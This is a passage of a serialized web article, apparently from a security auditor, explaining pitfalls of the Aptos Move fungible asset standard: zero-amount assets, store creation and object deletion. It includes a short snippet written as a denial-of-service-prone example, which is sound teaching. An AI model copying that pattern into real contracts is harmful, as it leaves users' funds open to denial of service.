object::convert(metadata),\n        amount: 0,\n    }\n}\n",[62703],{"type":21,"tag":66,"props":62704,"children":62705},{"__ignoreMap":7},[62706,62743,62795,62838,62845,62852,62924,62936,62974,62993,63000],{"type":21,"tag":85,"props":62707,"children":62708},{"class":87,"line":88},[62709,62713,62717,62722,62726,62731,62735,62739],{"type":21,"tag":85,"props":62710,"children":62711},{"style":120},[62712],{"type":26,"value":62133},{"type":21,"tag":85,"props":62714,"children":62715},{"style":120},[62716],{"type":26,"value":532},{"type":21,"tag":85,"props":62718,"children":62719},{"style":1021},[62720],{"type":26,"value":62721}," destroy_zero",{"type":21,"tag":85,"props":62723,"children":62724},{"style":114},[62725],{"type":26,"value":1439},{"type":21,"tag":85,"props":62727,"children":62728},{"style":120},[62729],{"type":26,"value":62730},"fungible_asset",{"type":21,"tag":85,"props":62732,"children":62733},{"style":169},[62734],{"type":26,"value":172},{"type":21,"tag":85,"props":62736,"children":62737},{"style":108},[62738],{"type":26,"value":61998},{"type":21,"tag":85,"props":62740,"children":62741},{"style":114},[62742],{"type":26,"value":15222},{"type":21,"tag":85,"props":62744,"children":62745},{"class":87,"line":98},[62746,62750,62754,62758,62762,62766,62771,62775,62779,62783,62787,62791],{"type":21,"tag":85,"props":62747,"children":62748},{"style":102},[62749],{"type":26,"value":3778},{"type":21,"tag":85,"props":62751,"children":62752},{"style":108},[62753],{"type":26,"value":61998},{"type":21,"tag":85,"props":62755,"children":62756},{"style":114},[62757],{"type":26,"value":9999},{"type":21,"tag":85,"props":62759,"children":62760},{"style":120},[62761],{"type":26,"value":20734},{"type":21,"tag":85,"props":62763,"children":62764},{"style":114},[62765],{"type":26,"value":256},{"type":21,"tag":85,"props":62767,"children":62768},{"style":120},[62769],{"type":26,"value":62770},"metadata",{"type":21,"tag":85,"props":62772,"children":62773},{"style":169},[62774],{"type":26,"value":172},{"type":21,"tag":85,"props":62776,"children":62777},{"style":120},[62778],{"type":26,"value":3814},{"type":21,"tag":85,"props":62780,"children":62781},{"style":114},[62782],{"type":26,"value":36650},{"type":21,"tag":85,"props":62784,"children":62785},{"style":169},[62786],{"type":26,"value":741},{"type":21,"tag":85,"props":62788,"children":62789},{"style":120},[62790],{"type":26,"value":62265},{"type":21,"tag":85,"props":62792,"children":62793},{"style":114},[62794],{"type":26,"value":2535},{"type":21,"tag":85,"props":62796,"children":62797},{"class":87,"line":151},[62798,62803,62807,62811,62815,62819,62824,62828,62833],{"type":21,"tag":85,"props":62799,"children":62800},{"style":1021},[62801],{"type":26,"value":62802},"    assert!",{"type":21,"tag":85,"props":62804,"children":62805},{"style":114},[62806],{"type":26,"value":1439},{"type":21,"tag":85,"props":62808,"children":62809},{"style":120},[62810],{"type":26,"value":20734},{"type":21,"tag":85,"props":62812,"children":62813},{"style":169},[62814],{"type":26,"value":2282},{"type":21,"tag":85,"props":62816,"children":62817},{"style":2285},[62818],{"type":26,"value":2830},{"type":21,"tag":85,"props":62820,"children":62821},{"style":114},[62822],{"type":26,"value":62823},", error",{"type":21,"tag":85,"props":62825,"children":62826},{"style":169},[62827],{"type":26,"value":1087},{"type":21,"tag":85,"props":62829,"children":62830},{"style":1021},[62831],{"type":26,"value":62832},"invalid_argument",{"type":21,"tag":85,"props":62834,"children":62835},{"style":114},[62836],{"type":26,"value":62837},"(EAMOUNT_IS_NOT_ZERO));\n",{"type":21,"tag":85,"props":62839,"children":62840},{"class":87,"line":160},[62841],{"type":21,"tag":85,"props":62842,"children":62843},{"style":114},[62844],{"type":26,"value":2671},{"type":21,"tag":85,"props":62846,"children":62847},{"class":87,"line":185},[62848],{"type":21,"tag":85,"props":62849,"children":62850},{"emptyLinePlaceholder":16},[62851],{"type":26,"value":703},{"type":21,"tag":85,"props":62853,"children":62854},{"class":87,"line":501},[62855,62859,62863,62868,62872,62876,62880,62884,62888,62892,62896,62900,62904,62908,62912,62916,62920],{"type":21,"tag":85,"props":62856,"children":62857},{"style":120},[62858],{"type":26,"value":62133},{"type":21,"tag":85,"props":62860,"children":62861},{"style":120},[62862],{"type":26,"value":532},{"type":21,"tag":85,"props":62864,"children":62865},{"style":120},[62866],{"type":26,"value":62867}," zero",{"type":21,"tag":85,"props":62869,"children":62870},{"style":114},[62871],{"type":26,"value":117},{"type":21,"tag":85,"props":62873,"children":62874},{"style":108},[62875],{"type":26,"value":308},{"type":21,"tag":85,"props":62877,"children":62878},{"style":169},[62879],{"type":26,"value":172},{"type":21,"tag":85,"props":62881,"children":62882},{"style":120},[62883],{"type":26,"value":251},{"type":21,"tag":85,"props":62885,"children":62886},{"style":114},[62887],{"type":26,"value":1960},{"type":21,"tag":85,"props":62889,"children":62890},{"style":120},[62891],{"type":26,"value":62770},{"type":21,"tag":85,"props":62893,"children":62894},{"style":169},[62895],{"type":26,"value":172},{"type":21,"tag":85,"props":62897,"children":62898},{"style":108},[62899],{"type":26,"value":62019},{"type":21,"tag":85,"props":62901,"children":62902},{"style":114},[62903],{"type":26,"value":117},{"type":21,"tag":85,"props":62905,"children":62906},{"style":108},[62907],{"type":26,"value":308},{"type":21,"tag":85,"props":62909,"children":62910},{"style":114},[62911],{"type":26,"value":2746},{"type":21,"tag":85,"props":62913,"children":62914},{"style":169},[62915],{"type":26,"value":172},{"type":21,"tag":85,"props":62917,"children":62918},{"style":108},[62919],{"type":26,"value":61998},{"type":21,"tag":85,"props":62921,"children":62922},{"style":114},[62923],{"type":26,"value":148},{"type":21,"tag":85,"props":62925,"children":62926},{"class":87,"line":697},[62927,62932],{"type":21,"tag":85,"props":62928,"children":62929},{"style":108},[62930],{"type":26,"value":62931},"    FungibleAsset",{"type":21,"tag":85,"props":62933,"children":62934},{"style":114},[62935],{"type":26,"value":148},{"type":21,"tag":85,"props":62937,"children":62938},{"class":87,"line":706},[62939,62944,62948,62953,62957,62962,62966,62970],{"type":21,"tag":85,"props":62940,"children":62941},{"style":120},[62942],{"type":26,"value":62943},"        metadata",{"type":21,"tag":85,"props":62945,"children":62946},{"style":169},[62947],{"type":26,"value":172},{"type":21,"tag":85,"props":62949,"children":62950},{"style":114},[62951],{"type":26,"value":62952}," object",{"type":21,"tag":85,"props":62954,"children":62955},{"style":169},[62956],{"type":26,"value":1087},{"type":21,"tag":85,"props":62958,"children":62959},{"style":1021},[62960],{"type":26,"value":62961},"convert",{"type":21,"tag":85,"props":62963,"children":62964},{"style":114},[62965],{"type":26,"value":1439},{"type":21,"tag":85,"props":62967,"children":62968},{"style":120},[62969],{"type":26,"value":62770},{"type":21,"tag":85,"props":62971,"children":62972},{"style":114},[62973],{"type":26,"value":1074},{"type":21,"tag":85,"props":62975,"children":62976},{"class":87,"line":1100},[62977,62981,62985,62989],{"type":21,"tag":85,"props":62978,"children":62979},{"style":120},[62980],{"type":26,"value":1795},{"type":21,"tag":85,"props":62982,"children":62983},{"style":169},[62984],{"type":26,"value":172},{"type":21,"tag":85,"props":62986,"children":62987},{"style":2285},[62988],{"type":26,"value":2830},{"type":21,"tag":85,"props":62990,"children":62991},{"style":114},[62992],{"type":26,"value":182},{"type":21,"tag":85,"props":62994,"children":62995},{"class":87,"line":1339},[62996],{"type":21,"tag":85,"props":62997,"children":62998},{"style":114},[62999],{"type":26,"value":507},{"type":21,"tag":85,"props":63001,"children":63002},{"class":87,"line":1348},[63003],{"type":21,"tag":85,"props":63004,"children":63005},{"style":114},[63006],{"type":26,"value":2671},{"type":21,"tag":22,"props":63008,"children":63009},{},[63010],{"type":26,"value":63011},"In theory, this shouldn’t pose a problem. After all, having zero of something doesn’t exactly qualify as ownership.",{"type":21,"tag":22,"props":63013,"children":63014},{},[63015,63017,63022],{"type":26,"value":63016},"In practice, the ability to freely mint and burn zero ",{"type":21,"tag":66,"props":63018,"children":63020},{"className":63019},[],[63021],{"type":26,"value":62111},{"type":26,"value":63023}," of any type could present a significant risk. During our reviews, we enountered many protocols that did not account for this possibility, leading to arithmetic errors, DoS logic bugs or inaccurate calculations. Keep in mind that edge case, we'll come back to this.",{"type":21,"tag":10022,"props":63025,"children":63027},{"id":63026},"primary-and-secondary-stores",[63028],{"type":26,"value":63029},"Primary and secondary stores",{"type":21,"tag":22,"props":63031,"children":63032},{},[63033,63039,63041,63047,63049,63054],{"type":21,"tag":66,"props":63034,"children":63036},{"className":63035},[],[63037],{"type":26,"value":63038},"FungibleStores",{"type":26,"value":63040}," in comparison to ",{"type":21,"tag":66,"props":63042,"children":63044},{"className":63043},[],[63045],{"type":26,"value":63046},"CoinStores",{"type":26,"value":63048}," are not unique. Each user can have multiple ",{"type":21,"tag":66,"props":63050,"children":63052},{"className":63051},[],[63053],{"type":26,"value":62534},{"type":26,"value":63055}," objects for a given token!",{"type":21,"tag":22,"props":63057,"children":63058},{},[63059,63061,63068,63070,63075],{"type":26,"value":63060},"A primary fungible store is maintained via the aptly named ",{"type":21,"tag":335,"props":63062,"children":63065},{"href":63063,"rel":63064},"https://github.com/aptos-labs/aptos-core/blob/2bea962eac4743db6cc0ae2e8a2fd7fcc323b121/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move",[339],[63066],{"type":26,"value":63067},"primary_fungible_store",{"type":26,"value":63069}," module. It's \"primary\" because of its deterministic location, which is calculated using the owner and the fungible asset's ",{"type":21,"tag":66,"props":63071,"children":63073},{"className":63072},[],[63074],{"type":26,"value":62028},{"type":26,"value":63076}," addresses. Users can also create a number of \"secondary\" fungible stores by themselves.",{"type":21,"tag":22,"props":63078,"children":63079},{},[63080],{"type":26,"value":63081},"One key feature of the primary fungible stores is their permissionless creation. This can lead to surprising denial of service bugs!",{"type":21,"tag":75,"props":63083,"children":63085},{"className":77,"code":63084,"language":79,"meta":7,"style":7},"public entry fun register(\n    user: &signer, [...]\n) acquires [...] {\n    [...]\n    let wallet_store = create_primary_store(signer::address_of(sender), get_metadata());\n    [...]\n}\n",[63086],{"type":21,"tag":66,"props":63087,"children":63088},{"__ignoreMap":7},[63089,63114,63146,63169,63185,63239,63254],{"type":21,"tag":85,"props":63090,"children":63091},{"class":87,"line":88},[63092,63096,63101,63105,63110],{"type":21,"tag":85,"props":63093,"children":63094},{"style":120},[63095],{"type":26,"value":62133},{"type":21,"tag":85,"props":63097,"children":63098},{"style":120},[63099],{"type":26,"value":63100}," entry",{"type":21,"tag":85,"props":63102,"children":63103},{"style":120},[63104],{"type":26,"value":532},{"type":21,"tag":85,"props":63106,"children":63107},{"style":1021},[63108],{"type":26,"value":63109}," register",{"type":21,"tag":85,"props":63111,"children":63112},{"style":114},[63113],{"type":26,"value":1029},{"type":21,"tag":85,"props":63115,"children":63116},{"class":87,"line":98},[63117,63122,63126,63130,63134,63138,63142],{"type":21,"tag":85,"props":63118,"children":63119},{"style":120},[63120],{"type":26,"value":63121},"    user",{"type":21,"tag":85,"props":63123,"children":63124},{"style":169},[63125],{"type":26,"value":172},{"type":21,"tag":85,"props":63127,"children":63128},{"style":169},[63129],{"type":26,"value":1487},{"type":21,"tag":85,"props":63131,"children":63132},{"style":120},[63133],{"type":26,"value":1492},{"type":21,"tag":85,"props":63135,"children":63136},{"style":114},[63137],{"type":26,"value":44589},{"type":21,"tag":85,"props":63139,"children":63140},{"style":169},[63141],{"type":26,"value":10004},{"type":21,"tag":85,"props":63143,"children":63144},{"style":114},[63145],{"type":26,"value":12189},{"type":21,"tag":85,"props":63147,"children":63148},{"class":87,"line":151},[63149,63153,63157,63161,63165],{"type":21,"tag":85,"props":63150,"children":63151},{"style":114},[63152],{"type":26,"value":736},{"type":21,"tag":85,"props":63154,"children":63155},{"style":120},[63156],{"type":26,"value":669},{"type":21,"tag":85,"props":63158,"children":63159},{"style":114},[63160],{"type":26,"value":23461},{"type":21,"tag":85,"props":63162,"children":63163},{"style":169},[63164],{"type":26,"value":10004},{"type":21,"tag":85,"props":63166,"children":63167},{"style":114},[63168],{"type":26,"value":62224},{"type":21,"tag":85,"props":63170,"children":63171},{"class":87,"line":160},[63172,63177,63181],{"type":21,"tag":85,"props":63173,"children":63174},{"style":114},[63175],{"type":26,"value":63176},"    [",{"type":21,"tag":85,"props":63178,"children":63179},{"style":169},[63180],{"type":26,"value":10004},{"type":21,"tag":85,"props":63182,"children":63183},{"style":114},[63184],{"type":26,"value":12189},{"type":21,"tag":85,"props":63186,"children":63187},{"class":87,"line":185},[63188,63192,63197,63201,63206,63210,63214,63218,63222,63226,63230,63235],{"type":21,"tag":85,"props":63189,"children":63190},{"style":102},[63191],{"type":26,"value":3778},{"type":21,"tag":85,"props":63193,"children":63194},{"style":120},[63195],{"type":26,"value":63196}," wallet_store",{"type":21,"tag":85,"props":63198,"children":63199},{"style":169},[63200],{"type":26,"value":1941},{"type":21,"tag":85,"props":63202,"children":63203},{"style":1021},[63204],{"type":26,"value":63205}," create_primary_store",{"type":21,"tag":85,"props":63207,"children":63208},{"style":114},[63209],{"type":26,"value":1546},{"type":21,"tag":85,"props":63211,"children":63212},{"style":169},[63213],{"type":26,"value":1087},{"type":21,"tag":85,"props":63215,"children":63216},{"style":1021},[63217],{"type":26,"value":1555},{"type":21,"tag":85,"props":63219,"children":63220},{"style":114},[63221],{"type":26,"value":1439},{"type":21,"tag":85,"props":63223,"children":63224},{"style":120},[63225],{"type":26,"value":62319},{"type":21,"tag":85,"props":63227,"children":63228},{"style":114},[63229],{"type":26,"value":15596},{"type":21,"tag":85,"props":63231,"children":63232},{"style":1021},[63233],{"type":26,"value":63234},"get_metadata",{"type":21,"tag":85,"props":63236,"children":63237},{"style":114},[63238],{"type":26,"value":15844},{"type":21,"tag":85,"props":63240,"children":63241},{"class":87,"line":501},[63242,63246,63250],{"type":21,"tag":85,"props":63243,"children":63244},{"style":114},[63245],{"type":26,"value":63176},{"type":21,"tag":85,"props":63247,"children":63248},{"style":169},[63249],{"type":26,"value":10004},{"type":21,"tag":85,"props":63251,"children":63252},{"style":114},[63253],{"type":26,"value":12189},{"type":21,"tag":85,"props":63255,"children":63256},{"class":87,"line":697},[63257],{"type":21,"tag":85,"props":63258,"children":63259},{"style":114},[63260],{"type":26,"value":2671},{"type":21,"tag":22,"props":63262,"children":63263},{},[63264,63265,63271,63273,63279],{"type":26,"value":17034},{"type":21,"tag":66,"props":63266,"children":63268},{"className":63267},[],[63269],{"type":26,"value":63270},"create_primary_store",{"type":26,"value":63272}," function can introduce DoS vulnerabilities because it aborts if the store already exists. Using ",{"type":21,"tag":66,"props":63274,"children":63276},{"className":63275},[],[63277],{"type":26,"value":63278},"ensure_primary_store_exists",{"type":26,"value":63280}," is recommended to avoid such issues.",{"type":21,"tag":54,"props":63282,"children":63284},{"id":63283},"fungible-assets-and-objects",[63285],{"type":26,"value":63286},"Fungible assets and objects",{"type":21,"tag":22,"props":63288,"children":63289},{},[63290,63292,63297,63299,63306],{"type":26,"value":63291},"The fungible asset standard is not a standalone module. It has heavy dependencies on a sibling module, the ",{"type":21,"tag":66,"props":63293,"children":63295},{"className":63294},[],[63296],{"type":26,"value":49306},{"type":26,"value":63298}," module, introduced in ",{"type":21,"tag":335,"props":63300,"children":63303},{"href":63301,"rel":63302},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-10.md",[339],[63304],{"type":26,"value":63305},"AIP-10",{"type":26,"value":73},{"type":21,"tag":3712,"props":63308,"children":63309},{},[63310],{"type":21,"tag":22,"props":63311,"children":63312},{},[63313,63317],{"type":21,"tag":85,"props":63314,"children":63315},{},[63316],{"type":26,"value":61908},{"type":26,"value":63318}," proposes a standard for Fungible Assets (FA) using Move Objects. In this model, any on-chain asset represented as an object can also be expressed as a fungible asset allowing for a single object to be represented by many distinct, yet interchangeable units of ownership.",{"type":21,"tag":22,"props":63320,"children":63321},{},[63322],{"type":26,"value":63323},"These two modules are closely intertwined, and their connection can be surprisingly intricate.",{"type":21,"tag":10022,"props":63325,"children":63327},{"id":63326},"creation-and-deletion",[63328],{"type":26,"value":63329},"Creation and deletion",{"type":21,"tag":22,"props":63331,"children":63332},{},[63333,63335,63341],{"type":26,"value":63334},"To create a fungible resource, an undeletable object must first be created. \"Undeletable\" means, that it's not possible to get a permission to delete it. This is verified in ",{"type":21,"tag":66,"props":63336,"children":63338},{"className":63337},[],[63339],{"type":26,"value":63340},"fungible_asset::add_fungibility",{"type":26,"value":172},{"type":21,"tag":75,"props":63343,"children":63345},{"className":77,"code":63344,"language":79,"meta":7,"style":7},"assert!(!object::can_generate_delete_ref(constructor_ref), error::invalid_argument(EOBJECT_IS_DELETABLE));\n",[63346],{"type":21,"tag":66,"props":63347,"children":63348},{"__ignoreMap":7},[63349],{"type":21,"tag":85,"props":63350,"children":63351},{"class":87,"line":88},[63352,63356,63360,63364,63369,63373,63378,63382,63387,63392,63396,63400],{"type":21,"tag":85,"props":63353,"children":63354},{"style":1021},[63355],{"type":26,"value":42434},{"type":21,"tag":85,"props":63357,"children":63358},{"style":114},[63359],{"type":26,"value":1439},{"type":21,"tag":85,"props":63361,"children":63362},{"style":169},[63363],{"type":26,"value":21049},{"type":21,"tag":85,"props":63365,"children":63366},{"style":114},[63367],{"type":26,"value":63368},"object",{"type":21,"tag":85,"props":63370,"children":63371},{"style":169},[63372],{"type":26,"value":1087},{"type":21,"tag":85,"props":63374,"children":63375},{"style":1021},[63376],{"type":26,"value":63377},"can_generate_delete_ref",{"type":21,"tag":85,"props":63379,"children":63380},{"style":114},[63381],{"type":26,"value":1439},{"type":21,"tag":85,"props":63383,"children":63384},{"style":120},[63385],{"type":26,"value":63386},"constructor_ref",{"type":21,"tag":85,"props":63388,"children":63389},{"style":114},[63390],{"type":26,"value":63391},"), error",{"type":21,"tag":85,"props":63393,"children":63394},{"style":169},[63395],{"type":26,"value":1087},{"type":21,"tag":85,"props":63397,"children":63398},{"style":1021},[63399],{"type":26,"value":62832},{"type":21,"tag":85,"props":63401,"children":63402},{"style":114},[63403],{"type":26,"value":63404},"(EOBJECT_IS_DELETABLE));\n",{"type":21,"tag":22,"props":63406,"children":63407},{},[63408,63410,63415,63417,63422,63423,63430],{"type":26,"value":63409},"This object serves as the foundation for ownership tokens in the form of a ",{"type":21,"tag":66,"props":63411,"children":63413},{"className":63412},[],[63414],{"type":26,"value":61969},{"type":26,"value":63416},". This means that allowing it to be deletable wouldn't make sense and would impact the usability of such fungible assets, restricting users from accessing critical functionalities such as creating new stores. In the past the ",{"type":21,"tag":66,"props":63418,"children":63420},{"className":63419},[],[63421],{"type":26,"value":63340},{"type":26,"value":790},{"type":21,"tag":335,"props":63424,"children":63427},{"href":63425,"rel":63426},"https://github.com/aptos-labs/aptos-core/commit/6976f8e9004b0f6ebb6fd976410d695c5a5a7ace",[339],[63428],{"type":26,"value":63429},"lacked this assert",{"type":26,"value":63431},", which we discovered and reported.",{"type":21,"tag":22,"props":63433,"children":63434},{},[63435,63440,63442,63447,63449,63454],{"type":21,"tag":66,"props":63436,"children":63438},{"className":63437},[],[63439],{"type":26,"value":63340},{"type":26,"value":63441}," transfers the ",{"type":21,"tag":66,"props":63443,"children":63445},{"className":63444},[],[63446],{"type":26,"value":62028},{"type":26,"value":63448}," and associated resources to this new object. After that, with the appropriate permissions, the ",{"type":21,"tag":66,"props":63450,"children":63452},{"className":63451},[],[63453],{"type":26,"value":61969},{"type":26,"value":63455}," can be minted, representing a share of ownership in that object.",{"type":21,"tag":75,"props":63457,"children":63459},{"className":77,"code":63458,"language":79,"meta":7,"style":7},"/// Make an existing object fungible by adding the Metadata resource.\npublic fun add_fungibility(\n    [...]\n): Object\u003CMetadata> {\n    [...]\n    move_to(metadata_object_signer,\n        Metadata {\n            name,\n            symbol,\n            decimals,\n            icon_uri,\n            project_uri,\n        }\n    );\n[...]\n}\n",[63460],{"type":21,"tag":66,"props":63461,"children":63462},{"__ignoreMap":7},[63463,63471,63491,63506,63533,63548,63569,63581,63593,63605,63617,63629,63641,63648,63655,63670],{"type":21,"tag":85,"props":63464,"children":63465},{"class":87,"line":88},[63466],{"type":21,"tag":85,"props":63467,"children":63468},{"style":92},[63469],{"type":26,"value":63470},"/// Make an existing object fungible by adding the Metadata resource.\n",{"type":21,"tag":85,"props":63472,"children":63473},{"class":87,"line":98},[63474,63478,63482,63487],{"type":21,"tag":85,"props":63475,"children":63476},{"style":120},[63477],{"type":26,"value":62133},{"type":21,"tag":85,"props":63479,"children":63480},{"style":120},[63481],{"type":26,"value":532},{"type":21,"tag":85,"props":63483,"children":63484},{"style":1021},[63485],{"type":26,"value":63486}," add_fungibility",{"type":21,"tag":85,"props":63488,"children":63489},{"style":114},[63490],{"type":26,"value":1029},{"type":21,"tag":85,"props":63492,"children":63493},{"class":87,"line":151},[63494,63498,63502],{"type":21,"tag":85,"props":63495,"children":63496},{"style":114},[63497],{"type":26,"value":63176},{"type":21,"tag":85,"props":63499,"children":63500},{"style":169},[63501],{"type":26,"value":10004},{"type":21,"tag":85,"props":63503,"children":63504},{"style":114},[63505],{"type":26,"value":12189},{"type":21,"tag":85,"props":63507,"children":63508},{"class":87,"line":160},[63509,63513,63517,63521,63525,63529],{"type":21,"tag":85,"props":63510,"children":63511},{"style":114},[63512],{"type":26,"value":1900},{"type":21,"tag":85,"props":63514,"children":63515},{"style":169},[63516],{"type":26,"value":172},{"type":21,"tag":85,"props":63518,"children":63519},{"style":108},[63520],{"type":26,"value":62019},{"type":21,"tag":85,"props":63522,"children":63523},{"style":114},[63524],{"type":26,"value":117},{"type":21,"tag":85,"props":63526,"children":63527},{"style":108},[63528],{"type":26,"value":62028},{"type":21,"tag":85,"props":63530,"children":63531},{"style":114},[63532],{"type":26,"value":1627},{"type":21,"tag":85,"props":63534,"children":63535},{"class":87,"line":185},[63536,63540,63544],{"type":21,"tag":85,"props":63537,"children":63538},{"style":114},[63539],{"type":26,"value":63176},{"type":21,"tag":85,"props":63541,"children":63542},{"style":169},[63543],{"type":26,"value":10004},{"type":21,"tag":85,"props":63545,"children":63546},{"style":114},[63547],{"type":26,"value":12189},{"type":21,"tag":85,"props":63549,"children":63550},{"class":87,"line":501},[63551,63556,63560,63565],{"type":21,"tag":85,"props":63552,"children":63553},{"style":1021},[63554],{"type":26,"value":63555},"    move_to",{"type":21,"tag":85,"props":63557,"children":63558},{"style":114},[63559],{"type":26,"value":1439},{"type":21,"tag":85,"props":63561,"children":63562},{"style":120},[63563],{"type":26,"value":63564},"metadata_object_signer",{"type":21,"tag":85,"props":63566,"children":63567},{"style":114},[63568],{"type":26,"value":182},{"type":21,"tag":85,"props":63570,"children":63571},{"class":87,"line":697},[63572,63577],{"type":21,"tag":85,"props":63573,"children":63574},{"style":108},[63575],{"type":26,"value":63576},"        Metadata",{"type":21,"tag":85,"props":63578,"children":63579},{"style":114},[63580],{"type":26,"value":148},{"type":21,"tag":85,"props":63582,"children":63583},{"class":87,"line":706},[63584,63589],{"type":21,"tag":85,"props":63585,"children":63586},{"style":120},[63587],{"type":26,"value":63588},"            name",{"type":21,"tag":85,"props":63590,"children":63591},{"style":114},[63592],{"type":26,"value":182},{"type":21,"tag":85,"props":63594,"children":63595},{"class":87,"line":1100},[63596,63601],{"type":21,"tag":85,"props":63597,"children":63598},{"style":120},[63599],{"type":26,"value":63600},"            symbol",{"type":21,"tag":85,"props":63602,"children":63603},{"style":114},[63604],{"type":26,"value":182},{"type":21,"tag":85,"props":63606,"children":63607},{"class":87,"line":1339},[63608,63613],{"type":21,"tag":85,"props":63609,"children":63610},{"style":120},[63611],{"type":26,"value":63612},"            decimals",{"type":21,"tag":85,"props":63614,"children":63615},{"style":114},[63616],{"type":26,"value":182},{"type":21,"tag":85,"props":63618,"children":63619},{"class":87,"line":1348},[63620,63625],{"type":21,"tag":85,"props":63621,"children":63622},{"style":120},[63623],{"type":26,"value":63624},"            icon_uri",{"type":21,"tag":85,"props":63626,"children":63627},{"style":114},[63628],{"type":26,"value":182},{"type":21,"tag":85,"props":63630,"children":63631},{"class":87,"line":1386},[63632,63637],{"type":21,"tag":85,"props":63633,"children":63634},{"style":120},[63635],{"type":26,"value":63636},"            project_uri",{"type":21,"tag":85,"props":63638,"children":63639},{"style":114},[63640],{"type":26,"value":182},{"type":21,"tag":85,"props":63642,"children":63643},{"class":87,"line":1394},[63644],{"type":21,"tag":85,"props":63645,"children":63646},{"style":114},[63647],{"type":26,"value":4118},{"type":21,"tag":85,"props":63649,"children":63650},{"class":87,"line":1402},[63651],{"type":21,"tag":85,"props":63652,"children":63653},{"style":114},[63654],{"type":26,"value":44108},{"type":21,"tag":85,"props":63656,"children":63657},{"class":87,"line":3145},[63658,63662,63666],{"type":21,"tag":85,"props":63659,"children":63660},{"style":114},[63661],{"type":26,"value":3016},{"type":21,"tag":85,"props":63663,"children":63664},{"style":169},[63665],{"type":26,"value":10004},{"type":21,"tag":85,"props":63667,"children":63668},{"style":114},[63669],{"type":26,"value":12189},{"type":21,"tag":85,"props":63671,"children":63672},{"class":87,"line":3246},[63673],{"type":21,"tag":85,"props":63674,"children":63675},{"style":114},[63676],{"type":26,"value":2671},{"type":21,"tag":19218,"props":63678,"children":63679},{},[],{"type":21,"tag":22,"props":63681,"children":63682},{},[63683,63685,63690,63692,63697],{"type":26,"value":63684},"Deletions can be a big issue even when dealing with objects that are eligible for deletion. For example, a ",{"type":21,"tag":66,"props":63686,"children":63688},{"className":63687},[],[63689],{"type":26,"value":62534},{"type":26,"value":63691}," is also an object, and a \"secondary\" ",{"type":21,"tag":66,"props":63693,"children":63695},{"className":63694},[],[63696],{"type":26,"value":62534},{"type":26,"value":63698}," can be created as deletable if empty. The catch is that deletion can occur both at the fungible asset level and at the object level.",{"type":21,"tag":75,"props":63700,"children":63702},{"className":77,"code":63701,"language":79,"meta":7,"style":7},"//Fungible asset\npublic fun remove_store(delete_ref: &DeleteRef)\n\n//Object\npublic fun delete(ref: DeleteRef)\n",[63703],{"type":21,"tag":66,"props":63704,"children":63705},{"__ignoreMap":7},[63706,63714,63756,63763,63771],{"type":21,"tag":85,"props":63707,"children":63708},{"class":87,"line":88},[63709],{"type":21,"tag":85,"props":63710,"children":63711},{"style":92},[63712],{"type":26,"value":63713},"//Fungible asset\n",{"type":21,"tag":85,"props":63715,"children":63716},{"class":87,"line":98},[63717,63721,63725,63730,63734,63739,63743,63747,63752],{"type":21,"tag":85,"props":63718,"children":63719},{"style":120},[63720],{"type":26,"value":62133},{"type":21,"tag":85,"props":63722,"children":63723},{"style":120},[63724],{"type":26,"value":532},{"type":21,"tag":85,"props":63726,"children":63727},{"style":1021},[63728],{"type":26,"value":63729}," remove_store",{"type":21,"tag":85,"props":63731,"children":63732},{"style":114},[63733],{"type":26,"value":1439},{"type":21,"tag":85,"props":63735,"children":63736},{"style":120},[63737],{"type":26,"value":63738},"delete_ref",{"type":21,"tag":85,"props":63740,"children":63741},{"style":169},[63742],{"type":26,"value":172},{"type":21,"tag":85,"props":63744,"children":63745},{"style":169},[63746],{"type":26,"value":1487},{"type":21,"tag":85,"props":63748,"children":63749},{"style":108},[63750],{"type":26,"value":63751},"DeleteRef",{"type":21,"tag":85,"props":63753,"children":63754},{"style":114},[63755],{"type":26,"value":2485},{"type":21,"tag":85,"props":63757,"children":63758},{"class":87,"line":151},[63759],{"type":21,"tag":85,"props":63760,"children":63761},{"emptyLinePlaceholder":16},[63762],{"type":26,"value":703},{"type":21,"tag":85,"props":63764,"children":63765},{"class":87,"line":160},[63766],{"type":21,"tag":85,"props":63767,"children":63768},{"style":92},[63769],{"type":26,"value":63770},"//Object\n",{"type":21,"tag":85,"props":63772,"children":63773},{"class":87,"line":185},[63774,63778,63782,63787,63791,63796,63800,63805],{"type":21,"tag":85,"props":63775,"children":63776},{"style":120},[63777],{"type":26,"value":62133},{"type":21,"tag":85,"props":63779,"children":63780},{"style":120},[63781],{"type":26,"value":532},{"type":21,"tag":85,"props":63783,"children":63784},{"style":1021},[63785],{"type":26,"value":63786}," delete",{"type":21,"tag":85,"props":63788,"children":63789},{"style":114},[63790],{"type":26,"value":1439},{"type":21,"tag":85,"props":63792,"children":63793},{"style":102},[63794],{"type":26,"value":63795},"ref",{"type":21,"tag":85,"props":63797,"children":63798},{"style":169},[63799],{"type":26,"value":172},{"type":21,"tag":85,"props":63801,"children":63802},{"style":108},[63803],{"type":26,"value":63804}," DeleteRef",{"type":21,"tag":85,"props":63806,"children":63807},{"style":114},[63808],{"type":26,"value":2485},{"type":21,"tag":22,"props":63810,"children":63811},{},[63812,63814,63820,63822,63827,63829,63834,63836,63841,63843,63849,63851,63857,63859,63864],{"type":26,"value":63813},"When ",{"type":21,"tag":66,"props":63815,"children":63817},{"className":63816},[],[63818],{"type":26,"value":63819},"object::delete",{"type":26,"value":63821}," removes the ",{"type":21,"tag":66,"props":63823,"children":63825},{"className":63824},[],[63826],{"type":26,"value":49306},{"type":26,"value":63828}," from a ",{"type":21,"tag":66,"props":63830,"children":63832},{"className":63831},[],[63833],{"type":26,"value":62534},{"type":26,"value":63835}," object, the ",{"type":21,"tag":66,"props":63837,"children":63839},{"className":63838},[],[63840],{"type":26,"value":62534},{"type":26,"value":63842}," resource becomes permanently undeletable. This is because ",{"type":21,"tag":66,"props":63844,"children":63846},{"className":63845},[],[63847],{"type":26,"value":63848},"remove_store",{"type":26,"value":63850}," can't create an ",{"type":21,"tag":66,"props":63852,"children":63854},{"className":63853},[],[63855],{"type":26,"value":63856},"Object\u003CFungibleStore>",{"type":26,"value":63858}," without an ",{"type":21,"tag":66,"props":63860,"children":63862},{"className":63861},[],[63863],{"type":26,"value":49306},{"type":26,"value":63865}," underneath, causing the operation to fail.",{"type":21,"tag":75,"props":63867,"children":63869},{"className":77,"code":63868,"language":79,"meta":7,"style":7},"public fun remove_store(delete_ref: &DeleteRef) acquires [...] {\n    let store = &object::object_from_delete_ref\u003CFungibleStore>(delete_ref);\n    